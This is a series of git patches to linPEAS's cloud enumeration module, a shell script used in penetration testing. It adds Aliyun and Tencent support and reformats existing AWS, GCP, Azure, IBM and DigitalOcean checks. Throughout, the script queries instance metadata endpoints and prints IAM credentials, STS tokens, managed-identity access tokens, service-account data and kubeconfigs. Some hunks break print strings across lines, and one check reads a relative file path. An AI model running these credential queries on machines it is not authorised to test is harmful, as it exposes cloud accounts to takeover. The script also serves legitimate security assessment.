+ + az_req="" + if [ "$(command -v curl)" ]; then + az_req="curl -s -f -H '$HEADER'" + elif [ "$(command -v wget)" ]; then + az_req="wget -q -O - -H '$HEADER'" + else + echo "Neither curl nor wget were found, I can't enumerate the metadata service :(" + fi + + if [ "$az_req" ]; then + print_3title "Instance details" + exec_with_jq eval $az_req "$URL/instance?api-version=$API_VERSION" + + print_3title "Load Balancer details" + exec_with_jq eval $az_req "$URL/loadbalancer?api-version=$API_VERSION" + + print_3title "Management token" + exec_with_jq eval $az_req "$URL/identity/oauth2/token?api-version=$API_VERSION\&resource=https://management.azure.com/" + + print_3title "Graph token" + exec_with_jq eval $az_req "$URL/identity/oauth2/token?api-version=$API_VERSION\&resource=https://graph.microsoft.com/" + + print_3title "Vault token" + exec_with_jq eval $az_req "$URL/identity/oauth2/token?api-version=$API_VERSION\&resource=https://vault.azure.net/" + + print_3title "Storage token" + exec_with_jq eval $az_req "$URL/identity/oauth2/token?api-version=$API_VERSION\&resource=https://storage.azure.com/" + fi +fi + +if [ "$check_az_app" = "Yes" ]; then + print_2title "Azure App Service Enumeration" + echo "I haven't tested this one, if it doesn't work, please send a PR fixing and adding functionality :)" + + HEADER="secret:$IDENTITY_HEADER" + + az_req="" + if [ "$(command -v curl)" ]; then + az_req="curl -s -f -H '$HEADER'" + elif [ "$(command -v wget)" ]; then + az_req="wget -q -O - -H '$HEADER'" + else + echo "Neither curl nor wget were found, I can't enumerate the metadata service :(" + fi + + if [ "$az_req" ]; then + print_3title "Management token" + exec_with_jq eval $az_req "$IDENTITY_ENDPOINT?api-version=$API_VERSION\&resource=https://management.azure.com/" + + print_3title "Graph token" + exec_with_jq eval $az_req "$IDENTITY_ENDPOINT?api-version=$API_VERSION\&resource=https://graph.microsoft.com/" + + print_3title "Vault token" + exec_with_jq eval $az_req "$IDENTITY_ENDPOINT?api-version=$API_VERSION\&resource=https://vault.azure.net/" + + print_3title "Storage token" + exec_with_jq eval $az_req "$IDENTITY_ENDPOINT?api-version=$API_VERSION\&resource=https://storage.azure.com/" + fi +fi From 9960d4780f54431db1d29a7db5d2af847b85d4c7 Mon Sep 17 00:00:00 2001 From: shadowabi <50265741+shadowabi@users.noreply.github.com> Date: Thu, 25 Jan 2024 11:52:11 +0800 Subject: [PATCH 17/69] Add files via upload --- linPEAS/builder/linpeas_parts/3_cloud.sh | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/linPEAS/builder/linpeas_parts/3_cloud.sh b/linPEAS/builder/linpeas_parts/3_cloud.sh index f3ae3f6..f66d21e 100644 --- a/linPEAS/builder/linpeas_parts/3_cloud.sh +++ b/linPEAS/builder/linpeas_parts/3_cloud.sh @@ -236,6 +236,8 @@ if [ "$is_aliyun_ecs" = "Yes" ]; then echo " Key: "$(eval $aliyun_req "http://100.100.100.200/latest/meta-data/public-keys/${key}openssh-key") echo " ==============" done + + fi fi @@ -249,6 +251,7 @@ if [ "$is_tencent_cvm" = "Yes" ]; then echo "Neither curl nor wget were found, I can't enumerate the metadata service :(" fi + print_2title "Tencent CVM Enumeration" print_info "https://cloud.tencent.com/document/product/213/4934" # Todo: print_info "Hacktricks Documents needs to be updated" @@ -277,6 +280,7 @@ if [ "$is_tencent_cvm" = "Yes" ]; then i_pri_ipv4=$(eval $tencent_req http://169.254.0.23/latest/meta-data/network/interfaces/macs/$mac/primary-local-ipv4) [ "$i_pri_ipv4" ] && echo "Primary IPv4: $i_pri_ipv4" + echo "========" for mac in $(eval $tencent_req http://169.254.0.23/latest/meta-data/network/interfaces/macs/); do echo " Mac: $mac" From 177fe211d0af9195c70e217afe29407c4a2766d1 Mon Sep 17 00:00:00 2001 From: shadowabi <50265741+shadowabi@users.noreply.github.com> Date: Thu, 25 Jan 2024 11:55:34 +0800 Subject: [PATCH 18/69] Update 3_cloud.sh --- linPEAS/builder/linpeas_parts/3_cloud.sh | 88 +++--------------------- 1 file changed, 10 insertions(+), 78 deletions(-) diff --git a/linPEAS/builder/linpeas_parts/3_cloud.sh b/linPEAS/builder/linpeas_parts/3_cloud.sh index f66d21e..5a96b3f 100644 --- a/linPEAS/builder/linpeas_parts/3_cloud.sh +++ b/linPEAS/builder/linpeas_parts/3_cloud.sh @@ -1,10 +1,8 @@ ########################################### #-----------) Cloud functions (-----------# ########################################### - GCP_GOOD_SCOPES="/devstorage.read_only|/logging.write|/monitoring|/servicecontrol|/service.management.readonly|/trace.append" GCP_BAD_SCOPES="/cloud-platform|/compute" - exec_with_jq(){ if [ "$(command -v jq)" ]; then $@ | jq 2>/dev/null; @@ -15,35 +13,30 @@ exec_with_jq(){ $@; fi } - check_gcp(){ is_gcp="No" if grep -q metadata.google.internal /etc/hosts 2>/dev/null || (curl --connect-timeout 2 metadata.google.internal >/dev/null 2>&1 && [ "$?" -eq "0" ]) || (wget --timeout 2 --tries 1 metadata.google.internal >/dev/null 2>&1 && [ "$?" -eq "0" ]); then is_gcp="Yes" fi } - check_do(){ is_do="No" if [ -f "/etc/cloud/cloud.cfg.d/90-digitalocean.cfg" ]; then is_do="Yes" fi } - check_aliyun_ecs () { is_aliyun_ecs="No" if [ -f "/etc/cloud/cloud.cfg.d/aliyun_cloud.cfg" ]; then is_aliyun_ecs="Yes" fi } - check_tencent_cvm () { is_tencent_cvm="No" if [ "$(cat cloud.cfg | grep tencent)" ]; then is_tencent_cvm="Yes" fi } - check_ibm_vm(){ is_ibm_vm="No" if grep -q "nameserver 161.26.0.10" "/etc/resolv.conf" && grep -q "nameserver 161.26.0.11" "/etc/resolv.conf"; then @@ -54,7 +47,6 @@ check_ibm_vm(){ fi fi } - check_aws_ecs(){ is_aws_ecs="No" if (env | grep -q ECS_CONTAINER_METADATA_URI_v4); then @@ -75,15 +67,12 @@ check_aws_ecs(){ aws_ecs_service_account_uri="http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" fi } - check_aws_ec2(){ is_aws_ec2="No" is_aws_ec2_beanstalk="No" - if [ -d "/var/log/amazon/" ]; then is_aws_ec2="Yes" EC2_TOKEN=$(curl --connect-timeout 2 -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget --timeout 2 --tries 1 -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null) - else EC2_TOKEN=$(curl --connect-timeout 2 -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget --timeout 2 --tries 1 -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null) if [ "$(echo $EC2_TOKEN | cut -c1-2)" = "AQ" ]; then @@ -95,26 +84,20 @@ check_aws_ec2(){ is_aws_ec2_beanstalk="Yes" fi } - check_aws_lambda(){ is_aws_lambda="No" - if (env | grep -q AWS_LAMBDA_); then is_aws_lambda="Yes" fi } - check_aws_codebuild(){ is_aws_codebuild="No" - if [ -f "/codebuild/output/tmp/env.sh" ] && grep -q "AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" "/codebuild/output/tmp/env.sh" ; then is_aws_codebuild="Yes" fi } - check_az_vm(){ is_az_vm="No" - if [ -d "/var/log/azure/" ]; then is_az_vm="Yes" @@ -122,42 +105,42 @@ check_az_vm(){ is_az_vm="Yes" fi } - check_az_app(){ is_az_app="No" - if [ -d "/opt/microsoft" ] && env | grep -q "IDENTITY_ENDPOINT"; then is_az_app="Yes" fi } - check_gcp print_list "Google Cloud Platform? ............... $is_gcp\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN}," check_aws_ecs print_list "AWS ECS? ............................. $is_aws_ecs\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN}," check_aws_ec2 print_list "AWS EC2? ............................. $is_aws_ec2\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN}," -print_list "AWS EC2 Beanstalk? ................... $is_aws_ec2_beanstalk\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN}," +print_list "AWS EC2 Beanstalk? +................... $is_aws_ec2_beanstalk\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN}," check_aws_lambda print_list "AWS Lambda? .......................... $is_aws_lambda\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN}," check_aws_codebuild -print_list "AWS Codebuild? ....................... $is_aws_codebuild\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN}," +print_list "AWS Codebuild? +....................... $is_aws_codebuild\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN}," check_do -print_list "DO Droplet? .......................... $is_do\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN}," +print_list "DO Droplet? +.......................... $is_do\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN}," check_aliyun_ecs print_list "Aliyun ECS? .......................... $is_aliyun_ecs\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN}," check_tencent_cvm print_list "Tencent CVM? .......................... $is_tencent_cvm\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN}," check_ibm_vm -print_list "IBM Cloud VM? ........................ $is_ibm_vm\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN}," +print_list "IBM Cloud VM? +........................ $is_ibm_vm\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN}," check_az_vm print_list "Azure VM? ............................ $is_az_vm\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN}," check_az_app -print_list "Azure APP? ........................... $is_az_app\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN}," - +print_list "Azure APP? +........................... $is_az_app\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN}," echo "" - if [ "$is_aliyun_ecs" = "Yes" ]; then aliyun_req="" aliyun_token="" @@ -170,12 +153,10 @@ if [ "$is_aliyun_ecs" = "Yes" ]; then else echo "Neither curl nor wget were found, I can't enumerate the metadata service :(" fi - if [ "$aliyun_token" ]; then print_2title "Aliyun ECS Enumeration" print_info "https://help.aliyun.com/zh/ecs/user-guide/view-instance-metadata" # Todo: print_info "Hacktricks Documents needs to be updated" - echo "" print_3title "Instance Info" i_hostname=$(eval $aliyun_req http://100.100.100.200/latest/meta-data/hostname) @@ -193,7 +174,6 @@ if [ "$is_aliyun_ecs" = "Yes" ]; then [ "$i_region_id" ] && echo "Region ID: $i_region_id" i_zone_id=$(eval $aliyun_req http://100.100.100.200/latest/meta-data/zone-id) [ "$i_zone_id" ] && echo "Zone ID: $i_zone_id" - echo "" print_3title "Network Info" i_pub_ipv4=$(eval $aliyun_req http://100.100.100.200/latest/meta-data/public-ipv4) @@ -220,7 +200,6 @@ if [ "$is_aliyun_ecs" = "Yes" ]; then echo " Mac gateway (v6): "$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/ipv6-gateway) echo "=======" done - echo "" print_3title "Service account " for sa in $(eval $aliyun_req "http://100.100.100.200/latest/meta-data/ram/security-credentials/"); do @@ -228,7 +207,6 @@ if [ "$is_aliyun_ecs" = "Yes" ]; then echo " STS Token: "$(eval $aliyun_req "http://100.100.100.200/latest/meta-data/ram/security-credentials/$sa") echo " ==============" done - echo "" print_3title "Possbile admin ssh Public keys" for key in $(eval $aliyun_req "http://100.100.100.200/latest/meta-data/public-keys/"); do @@ -237,10 +215,8 @@ if [ "$is_aliyun_ecs" = "Yes" ]; then echo " ==============" done - fi fi - if [ "$is_tencent_cvm" = "Yes" ]; then tencent_req="" if [ "$(command -v curl)" ]; then @@ -314,7 +290,6 @@ if [ "$is_tencent_cvm" = "Yes" ]; then echo " ==============" done fi - if [ "$is_gcp" = "Yes" ]; then gcp_req="" if [ "$(command -v curl)" ]; then @@ -324,12 +299,10 @@ if [ "$is_gcp" = "Yes" ]; then else echo "Neither curl nor wget were found, I can't enumerate the metadata service :(" fi - # GCP Enumeration if [ "$gcp_req" ]; then print_2title "Google Cloud Platform Enumeration" print_info "https://cloud.hacktricks.xyz/pentesting-cloud/gcp-security" - ## GC Project Info p_id=$(eval $gcp_req 'http://metadata.google.internal/computeMetadata/v1/project/project-id') [ "$p_id" ] && echo "Project-ID: $p_id" @@ -339,7 +312,6 @@ if [ "$is_gcp" = "Yes" ]; then [ "$pssh_k" ] && echo "Project SSH-Keys: $pssh_k" p_attrs=$(eval $gcp_req 'http://metadata.google.internal/computeMetadata/v1/project/attributes/?recursive=true') [ "$p_attrs" ] && echo "All Project Attributes: $p_attrs" - # OSLogin Info osl_u=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/oslogin/users) [ "$osl_u" ] && echo "OSLogin users: $osl_u" @@ -349,7 +321,6 @@ if [ "$is_gcp" = "Yes" ]; then [ "$osl_sk" ] && echo "OSLogin Security Keys: $osl_sk" osl_au=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/oslogin/authorize) [ "$osl_au" ] && echo "OSLogin Authorize: $osl_au" - # Instance Info inst_d=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/description) [ "$inst_d" ] && echo "Instance Description: " @@ -367,7 +338,6 @@ if [ "$is_gcp" = "Yes" ]; then [ "$inst_tag" ] && echo "Instance tags: $inst_tag" inst_zone=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/zone) [ "$inst_zone" ] && echo "Zone: $inst_zone" - inst_k8s_loc=$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/attributes/cluster-location") [ "$inst_k8s_loc" ] && echo "K8s Cluster Location: $inst_k8s_loc" inst_k8s_name=$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/attributes/cluster-name") @@ -380,7 +350,6 @@ if [ "$is_gcp" = "Yes" ]; then [ "$inst_k8s_kubec" ] && echo "K8s Kubeconfig: $inst_k8s_kubec" inst_k8s_kubenv=$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/attributes/kube-env") [ "$inst_k8s_kubenv" ] && echo "K8s Kube-env: $inst_k8s_kubenv" - echo "" print_3title "Interfaces" for iface in $(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/network-interfaces/"); do @@ -396,7 +365,6 @@ if [ "$is_gcp" = "Yes" ]; then print_3title "User Data" echo $(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/attributes/startup-script") echo "" - echo "" print_3title "Service Accounts" for sa in $(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/"); do @@ -410,7 +378,6 @@ if [ "$is_gcp" = "Yes" ]; then done fi fi - # AWS ECS Enumeration if [ "$is_aws_ecs" = "Yes" ]; then print_2title "AWS ECS Enumeration" @@ -423,7 +390,6 @@ if [ "$is_aws_ecs" = "Yes" ]; then else echo "Neither curl nor wget were found, I can't enumerate the metadata service :(" fi - if [ "$aws_ecs_metadata_uri" ]; then print_3title "Container Info" exec_with_jq eval $aws_ecs_req "$aws_ecs_metadata_uri" @@ -435,7 +401,6 @@ if [ "$is_aws_ecs" = "Yes" ]; then else echo "I couldn't find ECS_CONTAINER_METADATA_URI env var to get container info" fi - if [ "$aws_ecs_service_account_uri" ]; then print_3title "IAM Role" exec_with_jq eval $aws_ecs_req "$aws_ecs_service_account_uri" @@ -444,7 +409,6 @@ if [ "$is_aws_ecs" = "Yes" ]; then echo "I couldn't find AWS_CONTAINER_CREDENTIALS_RELATIVE_URI env var to get IAM role info (the task is running without a task role probably)" fi fi - # AWS EC2 Enumeration if [ "$is_aws_ec2" = "Yes" ]; then print_2title "AWS EC2 Enumeration" @@ -468,11 +432,9 @@ if [ "$is_aws_ec2" = "Yes" ]; then printf "instance-life-cycle: "; eval $aws_req "$URL/instance-life-cycle"; echo "" printf "instance-type: "; eval $aws_req "$URL/instance-type"; echo "" printf "region: "; eval $aws_req "$URL/placement/region"; echo "" - echo "" print_3title "Account Info" exec_with_jq eval $aws_req "$URL/identity-credentials/ec2/info"; echo "" - echo "" print_3title "Network Info" for mac in $(eval $aws_req "$URL/network/interfaces/macs/" 2>/dev/null); do @@ -487,7 +449,6 @@ if [ "$is_aws_ec2" = "Yes" ]; then echo "Public IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/public-ipv4s"; echo "" echo "" done - echo "" print_3title "IAM Role" exec_with_jq eval $aws_req "$URL/iam/info"; echo "" @@ -509,7 +470,6 @@ if [ "$is_aws_ec2" = "Yes" ]; then ps aux 2>/dev/null | grep "ssm-agent" | grep -v "grep" | sed "s,ssm-agent,${SED_RED}," fi fi - # AWS Lambda Enumeration if [ "$is_aws_lambda" = "Yes" ]; then print_2title "AWS Lambda Enumeration" @@ -522,11 +482,9 @@ if [ "$is_aws_lambda" = "Yes" ]; then printf "Runtime API: "; env | grep AWS_LAMBDA_RUNTIME_API printf "Event data: "; (curl -s "http://${AWS_LAMBDA_RUNTIME_API}/2018-06-01/runtime/invocation/next" 2>/dev/null || wget -q -O - "http://${AWS_LAMBDA_RUNTIME_API}/2018-06-01/runtime/invocation/next") fi - # AWS Codebuild Enumeration if [ "$is_aws_codebuild" = "Yes" ]; then print_2title "AWS Codebuild Enumeration" - aws_req="" if [ "$(command -v curl)" ]; then aws_req="curl -s -f" @@ -536,23 +494,19 @@ if [ "$is_aws_codebuild" = "Yes" ]; then echo "Neither curl nor wget were found, I can't enumerate the metadata service :(" echo "The addresses are in /codebuild/output/tmp/env.sh" fi - if [ "$aws_req" ]; then print_3title "Credentials" CREDS_PATH=$(cat /codebuild/output/tmp/env.sh | grep "AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" | cut -d "'" -f 2) URL_CREDS="http://169.254.170.2$CREDS_PATH" # Already has a / at the begginig exec_with_jq eval $aws_req "$URL_CREDS"; echo "" - print_3title "Container Info" METADATA_URL=$(cat /codebuild/output/tmp/env.sh | grep "ECS_CONTAINER_METADATA_URI" | cut -d "'" -f 2) exec_with_jq eval $aws_req "$METADATA_URL"; echo "" fi fi - # DO Droplet Enumeration if [ "$is_do" = "Yes" ]; then print_2title "DO Droplet Enumeration" - do_req="" if [ "$(command -v curl)" ]; then do_req='curl -s -f ' @@ -561,7 +515,6 @@ if [ "$is_do" = "Yes" ]; then else echo "Neither curl nor wget were found, I can't enumerate the metadata service :(" fi - if [ "$do_req" ]; then URL="http://169.254.169.254/metadata" printf "Id: "; eval $do_req "$URL/v1/id"; echo "" @@ -576,14 +529,11 @@ if [ "$is_do" = "Yes" ]; then printf "Features: "; eval $do_req "$URL/v1.json" | jq ".features"; fi fi - # IBM Cloud Enumeration if [ "$is_ibm_vm" = "Yes" ]; then print_2title "IBM Cloud Enumeration" - if ! [ "$IBM_TOKEN" ]; then echo "Couldn't get the metadata token:(" - else TOKEN_HEADER="Authorization: Bearer $IBM_TOKEN" ACCEPT_HEADER="Accept: application/json" @@ -597,29 +547,22 @@ if [ "$is_ibm_vm" = "Yes" ]; then else echo "Neither curl nor wget were found, I can't enumerate the metadata service :(" fi - if [ "$ibm_req" ]; then print_3title "Instance Details" exec_with_jq eval $ibm_req "http://169.254.169.254/metadata/v1/instance?version=2022-03-01" - print_3title "Keys and User data" exec_with_jq eval $ibm_req "http://169.254.169.254/metadata/v1/instance/initialization?version=2022-03-01" exec_with_jq eval $ibm_req "http://169.254.169.254/metadata/v1/keys?version=2022-03-01" - print_3title "Placement Groups" exec_with_jq eval $ibm_req "http://169.254.169.254/metadata/v1/placement_groups?version=2022-03-01" - print_3title "IAM credentials" exec_with_jq eval $ibm_req -X POST "http://169.254.169.254/instance_identity/v1/iam_token?version=2022-03-01" fi fi - fi - # Azure VM Enumeration if [ "$is_az_vm" = "Yes" ]; then print_2title "Azure VM Enumeration" - HEADER="Metadata:true" URL="http://169.254.169.254/metadata" API_VERSION="2021-12-13" # https://learn.microsoft.com/en-us/azure/virtual-machines/instance-metadata-service?tabs=linux#supported-api-versions @@ -632,34 +575,26 @@ if [ "$is_az_vm" = "Yes" ]; then else echo "Neither curl nor wget were found, I can't enumerate the metadata service :(" fi - if [ "$az_req" ]; then print_3title "Instance details" exec_with_jq eval $az_req "$URL/instance?api-version=$API_VERSION" - print_3title "Load Balancer details" exec_with_jq eval $az_req "$URL/loadbalancer?api-version=$API_VERSION" - print_3title "Management token" exec_with_jq eval $az_req "$URL/identity/oauth2/token?api-version=$API_VERSION\&resource=https://management.azure.com/" - print_3title "Graph token" exec_with_jq eval $az_req "$URL/identity/oauth2/token?api-version=$API_VERSION\&resource=https://graph.microsoft.com/" print_3title "Vault token" exec_with_jq eval $az_req "$URL/identity/oauth2/token?api-version=$API_VERSION\&resource=https://vault.azure.net/" - print_3title "Storage token" exec_with_jq eval $az_req "$URL/identity/oauth2/token?api-version=$API_VERSION\&resource=https://storage.azure.com/" fi fi - if [ "$check_az_app" = "Yes" ]; then print_2title "Azure App Service Enumeration" echo "I haven't tested this one, if it doesn't work, please send a PR fixing and adding functionality :)" - HEADER="secret:$IDENTITY_HEADER" - az_req="" if [ "$(command -v curl)" ]; then az_req="curl -s -f -H '$HEADER'" @@ -668,17 +603,14 @@ if [ "$check_az_app" = "Yes" ]; then else echo "Neither curl nor wget were found, I can't enumerate the metadata service :(" fi - if [ "$az_req" ]; then print_3title "Management token" exec_with_jq eval $az_req "$IDENTITY_ENDPOINT?api-version=$API_VERSION\&resource=https://management.azure.com/" - print_3title "Graph token" exec_with_jq eval $az_req "$IDENTITY_ENDPOINT?api-version=$API_VERSION\&resource=https://graph.microsoft.com/" print_3title "Vault token" exec_with_jq eval $az_req "$IDENTITY_ENDPOINT?api-version=$API_VERSION\&resource=https://vault.azure.net/" - print_3title "Storage token" exec_with_jq eval $az_req "$IDENTITY_ENDPOINT?api-version=$API_VERSION\&resource=https://storage.azure.com/" fi From 2d681866771741a1bc789c57c4071272bdf30275 Mon Sep 17 00:00:00 2001 From: shadowabi <50265741+shadowabi@users.noreply.github.com> Date: Thu, 25 Jan 2024 11:58:51 +0800 Subject: [PATCH 19/69] Format alignment --- linPEAS/builder/linpeas_parts/3_cloud.sh | 1302 ++++++++++++---------- 1 file changed, 685 insertions(+), 617 deletions(-) diff --git a/linPEAS/builder/linpeas_parts/3_cloud.sh b/linPEAS/builder/linpeas_parts/3_cloud.sh index 5a96b3f..693d03d 100644 --- a/linPEAS/builder/linpeas_parts/3_cloud.sh +++ b/linPEAS/builder/linpeas_parts/3_cloud.sh @@ -1,617 +1,685 @@ -########################################### -#-----------) Cloud functions (-----------# -########################################### -GCP_GOOD_SCOPES="/devstorage.read_only|/logging.write|/monitoring|/servicecontrol|/service.management.readonly|/trace.append" -GCP_BAD_SCOPES="/cloud-platform|/compute" -exec_with_jq(){ - if [ "$(command -v jq)" ]; then - $@ | jq 2>/dev/null; - if ! [ $? -eq 0 ]; then - $@; - fi - else - $@; - fi -} -check_gcp(){ - is_gcp="No" - if grep -q metadata.google.internal /etc/hosts 2>/dev/null || (curl --connect-timeout 2 metadata.google.internal >/dev/null 2>&1 && [ "$?" -eq "0" ]) || (wget --timeout 2 --tries 1 metadata.google.internal >/dev/null 2>&1 && [ "$?" -eq "0" ]); then - is_gcp="Yes" - fi -} -check_do(){ - is_do="No" - if [ -f "/etc/cloud/cloud.cfg.d/90-digitalocean.cfg" ]; then - is_do="Yes" - fi -} -check_aliyun_ecs () { - is_aliyun_ecs="No" - if [ -f "/etc/cloud/cloud.cfg.d/aliyun_cloud.cfg" ]; then - is_aliyun_ecs="Yes" - fi -} -check_tencent_cvm () { - is_tencent_cvm="No" - if [ "$(cat cloud.cfg | grep tencent)" ]; then - is_tencent_cvm="Yes" - fi -} -check_ibm_vm(){ - is_ibm_vm="No" - if grep -q "nameserver 161.26.0.10" "/etc/resolv.conf" && grep -q "nameserver 161.26.0.11" "/etc/resolv.conf"; then - curl --connect-timeout 2 "http://169.254.169.254" > /dev/null 2>&1 || wget --timeout 2 --tries 1 "http://169.254.169.254" > /dev/null 2>&1 - if [ "$?" -eq 0 ]; then - IBM_TOKEN=$( ( curl -s -X PUT "http://169.254.169.254/instance_identity/v1/token?version=2022-03-01" -H "Metadata-Flavor: ibm" -H "Accept: application/json" 2> /dev/null | cut -d '"' -f4 ) || ( wget --tries 1 -O - --method PUT "http://169.254.169.254/instance_identity/v1/token?version=2022-03-01" --header "Metadata-Flavor: ibm" --header "Accept: application/json" 2>/dev/null | cut -d '"' -f4 ) ) - is_ibm_vm="Yes" - fi - fi -} -check_aws_ecs(){ - is_aws_ecs="No" - if (env | grep -q ECS_CONTAINER_METADATA_URI_v4); then - is_aws_ecs="Yes"; - aws_ecs_metadata_uri=$ECS_CONTAINER_METADATA_URI_v4; - aws_ecs_service_account_uri="http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" - - elif (env | grep -q ECS_CONTAINER_METADATA_URI); then - is_aws_ecs="Yes"; - aws_ecs_metadata_uri=$ECS_CONTAINER_METADATA_URI; - aws_ecs_service_account_uri="http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" - - elif (env | grep -q AWS_CONTAINER_CREDENTIALS_RELATIVE_URI); then - is_aws_ecs="Yes"; - fi - - if [ "$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" ]; then - aws_ecs_service_account_uri="http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" - fi -} -check_aws_ec2(){ - is_aws_ec2="No" - is_aws_ec2_beanstalk="No" - if [ -d "/var/log/amazon/" ]; then - is_aws_ec2="Yes" - EC2_TOKEN=$(curl --connect-timeout 2 -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget --timeout 2 --tries 1 -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null) - else - EC2_TOKEN=$(curl --connect-timeout 2 -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget --timeout 2 --tries 1 -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null) - if [ "$(echo $EC2_TOKEN | cut -c1-2)" = "AQ" ]; then - is_aws_ec2="Yes" - fi - fi - - if [ "$is_aws_ec2" = "Yes" ] && grep -iq "Beanstalk" "/etc/motd"; then - is_aws_ec2_beanstalk="Yes" - fi -} -check_aws_lambda(){ - is_aws_lambda="No" - if (env | grep -q AWS_LAMBDA_); then - is_aws_lambda="Yes" - fi -} -check_aws_codebuild(){ - is_aws_codebuild="No" - if [ -f "/codebuild/output/tmp/env.sh" ] && grep -q "AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" "/codebuild/output/tmp/env.sh" ; then - is_aws_codebuild="Yes" - fi -} -check_az_vm(){ - is_az_vm="No" - if [ -d "/var/log/azure/" ]; then - is_az_vm="Yes" - - elif cat /etc/resolv.conf 2>/dev/null | grep -q "search reddog.microsoft.com"; then - is_az_vm="Yes" - fi -} -check_az_app(){ - is_az_app="No" - if [ -d "/opt/microsoft" ] && env | grep -q "IDENTITY_ENDPOINT"; then - is_az_app="Yes" - fi -} - -check_gcp -print_list "Google Cloud Platform? ............... $is_gcp\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN}," -check_aws_ecs -print_list "AWS ECS? ............................. $is_aws_ecs\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN}," -check_aws_ec2 -print_list "AWS EC2? ............................. $is_aws_ec2\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN}," -print_list "AWS EC2 Beanstalk? -................... $is_aws_ec2_beanstalk\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN}," -check_aws_lambda -print_list "AWS Lambda? .......................... $is_aws_lambda\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN}," -check_aws_codebuild -print_list "AWS Codebuild? -....................... $is_aws_codebuild\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN}," -check_do -print_list "DO Droplet? -.......................... $is_do\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN}," -check_aliyun_ecs -print_list "Aliyun ECS? .......................... $is_aliyun_ecs\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN}," -check_tencent_cvm -print_list "Tencent CVM? .......................... $is_tencent_cvm\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN}," -check_ibm_vm -print_list "IBM Cloud VM? -........................ $is_ibm_vm\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN}," -check_az_vm -print_list "Azure VM? ............................ $is_az_vm\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN}," -check_az_app -print_list "Azure APP? -........................... $is_az_app\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN}," -echo "" -if [ "$is_aliyun_ecs" = "Yes" ]; then - aliyun_req="" - aliyun_token="" - if [ "$(command -v curl)" ]; then - aliyun_token=$(curl -X PUT "http://100.100.100.200/latest/api/token" -H "X-aliyun-ecs-metadata-token-ttl-seconds:1000") - aliyun_req='curl -s -f -H "X-aliyun-ecs-metadata-token: $aliyun_token"' - elif [ "$(command -v wget)" ]; then - aliyun_token=$(wget -q -O - --method PUT "http://100.100.100.200/latest/api/token" --header "X-aliyun-ecs-metadata-token-ttl-seconds:1000") - 